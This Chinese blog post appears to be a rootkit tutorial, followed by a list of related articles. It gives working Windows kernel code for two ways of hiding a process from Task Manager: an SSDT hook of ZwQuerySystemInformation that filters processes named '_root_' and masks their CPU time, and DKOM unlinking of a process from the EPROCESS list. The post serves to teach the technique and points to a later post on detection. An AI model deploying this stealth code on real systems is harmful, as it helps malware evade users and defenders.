第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址

使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。

见核心代码

NTSTATUS NewZwQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength );

if( NT_SUCCESS(ntStatus))

{

// Asking for a file and directory listing

if(SystemInformationClass == 5)

{

// This is a query for the process list.

// Look for process names that start with

// '_root_' and filter them out.

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(curr)

{

DbgPrint("Current item is %x\n", curr);

if (curr->ProcessName.Buffer != NULL)

{

if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

{

m_UserTime.QuadPart += curr->UserTime.QuadPart;

m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

if(prev) // Middle or Last entry

{

if(curr->NextEntryDelta)

prev->NextEntryDelta += curr->NextEntryDelta;

else   // we are last, so make prev the end

prev->NextEntryDelta = 0;

}

else

{

if(curr->NextEntryDelta)

{

// we are first in the list, so move it forward

(char *)SystemInformation += curr->NextEntryDelta;

}

else // we are the only process!

SystemInformation = NULL;

}

}

}

else // This is the entry for the Idle process

{

// Add the kernel and user times of _root_*

// processes to the Idle process.

curr->UserTime.QuadPart += m_UserTime.QuadPart;

curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

// Reset the timers for next time we filter

m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

}

prev = curr;

if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

else curr = NULL;

}

}

else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

{

struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

}

}

return ntStatus;

}

代码摘自Rootkits-Windows内核的安全防护一书

效果如图

我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。

第二种是直接在内核的EPROCESS链表中摘去目标进程。

void EnumERProcess()

{

ULONG eproc ;

ULONG first_eproc;

int currentPid = 0;

int startPid = 0;

int cout = 0;

//      ULONG pflinkErp,pblinkErp;

PLIST_ENTRY pListActiveProcs;

PLIST_ENTRY pflinkErp,pblinkErp;

//_asm int 3;

//遍历ActiveList

first_eproc = eproc = (ULONG)PsGetCurrentProcess();

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

while(eproc!=0)

{

PULONG pid = (PULONG)(eproc +0x84);

PCHAR image_name = (PCHAR)(eproc +0x174);

DbgPrint("PID=%d ProcessName=%s\n",*pid,image_name);

if(strcmp(image_name,"root.exe") == 0)

{

DbgPrint("发现进程root\n");

pflinkErp = pListActiveProcs->Flink;

pblinkErp  = pListActiveProcs->Blink;

//后一个节点的前进节点设置为下一个

pblinkErp->Flink = pflinkErp;

//设置前面一个节点的后面节点

pflinkErp->Blink = pblinkErp;

pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);

pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);

return;

}

eproc = (ULONG)pListActiveProcs->Flink - 0x88;

pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

if(eproc == first_eproc)

break;

}

}

(XP环境测试代码,直接硬编码了)

效果和第一种一样

下一篇将告诉大家如何检测隐藏进程

Ring0隐藏进程的方法的更多相关文章

  1. Linux系统上对其他用户隐藏进程的简单方法

    mount -o remount,rw,hidepid=2 /proc 我使用的是多用户系统,大部分的用户通过ssh客户端访问他们的资源.我如何(怎么样)避免泄露进程信息给他们?如何(怎么样)在Deb ...

  2. 修改ActiveProcessLinks链表隐藏进程

    在Windows内核中有一个活动进程链表AcvtivePeorecssList.它是一个双向链表,保存着系统中所有进程的EPROCESS结构.特别地,进程的EPROCESS结构包含一个具有指针成员FL ...

  3. 隐藏进程中的模块绕过IceSword的检测

    标 题: [原创] 隐藏进程中的模块绕过IceSword的检测 作 者: xPLK 时 间: 2008-06-19,17:59:11 链 接: http://bbs.pediy.com/showthr ...

  4. 遍历PspCidTable表检测隐藏进程

    一.PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程 ...

  5. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

  6. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  7. Android下结束进程的方法

    转自:http://www.cnblogs.com/crazypebble/archive/2011/04/05/2006213.html 最近在做一个类似与任务管理器的东西,里面有个功能,可以通过这 ...

  8. 程氏CMS去掉静态页面的隐藏性版权方法

    程氏CMS去掉静态页面的隐藏性版权方法 实例如图: 因为之前自己找了好久都没找到这俩代码写在那个文件夹的,经过跟csqq8讨论了也没有得到结果,今天突然发现,原来这些代码都经过base64加密,用加密 ...

  9. Oracle查询被锁的表及进程的方法

    Oracle查询可以有多种方法,下面为您介绍的是如何Oracle查询被锁的表及Oracle查询连接的进程的方法,希望对您能够有所帮助. 一.查看被锁的表 select p.spid,a.serial# ...

随机推荐

  1. 整数转IP地址

    将一个整数,比如1567898765转换为xxx.xxx.xxx.xxx的IP地址的形式, 以下是源代码 union IPNode{ unsigned int addr; struct { unsig ...

  2. 海外建VPS并支持VPN

    推荐 DigitalOcean http://www.digitalocean.com/?refcode=7c26aea99ed6

  3. Notepad++正则表达式语法

    \   转义字符  如:要使用 “\” 本身, 则应该使用“\\” \t  Tab制表符  注:扩展和正则表达式都支持 \r  回车符CR   注:扩展支持,正则表达式不支持 \n  换行符LF   ...

  4. SQLite文件查看工具DB Browser for SQLite

    有时候,我们用Python创建了一个test.sqlite文件,想查看里面的数据,除了用Python连上数据库,SELECT出来,还有什么好办法呢?这里推荐使用一个小工具DB Browser for ...

  5. AC自动机专题

    AC自动机简介:KMP是用于解决单模式串匹配问题, AC自动机用于解决多模式串匹配问题. 精华:设这个节点上的字母为C,沿着他父亲的失败指针走,直到走到一个节点,他的儿子中也有字母为C的节点.然后把当 ...

  6. Spring MVC注解入门

    注解式开发初步 常用的两个注解: @Controller:是SpringMVC中最常用的注解,它可以帮助定义当前类为一个Spring管理的bean,同时指定该类是一个控制器,可以用来接受请求.标识当前 ...

  7. Entity FrameWork 5 增删改查 & 直接调用sql语句

    class="brush:csharp;gutter:true;"> #region 1.0 新增 -void Add() /// <summary> /// 1 ...

  8. "不能在 DropDownList 中选择多个项。"其解决办法及补充

    探讨C#.NET下DropDownList的一个有趣的bug及其解决办法 摘要: 本文就C#.Net 环境下Web开发中经常使用的DropDownList控件的SelectedIndex属性进行了详细 ...

  9. brew管理node的版本

    摘要 nvm可以.brew怎么去切换不同的node版本 转载请注明出处:http://my.oschina.net/uniquejava/blog/491030 brew详解:http://stack ...

  10. 【转】iOS学习之适配iOS10

    适配iOS10 2016年9月7日,苹果发布iOS 10.2016年9月14日,全新的操作系统iOS 10将正式上线. 作为开发者,如何适配iOS10呢? 1.Notification(通知) 自从N ...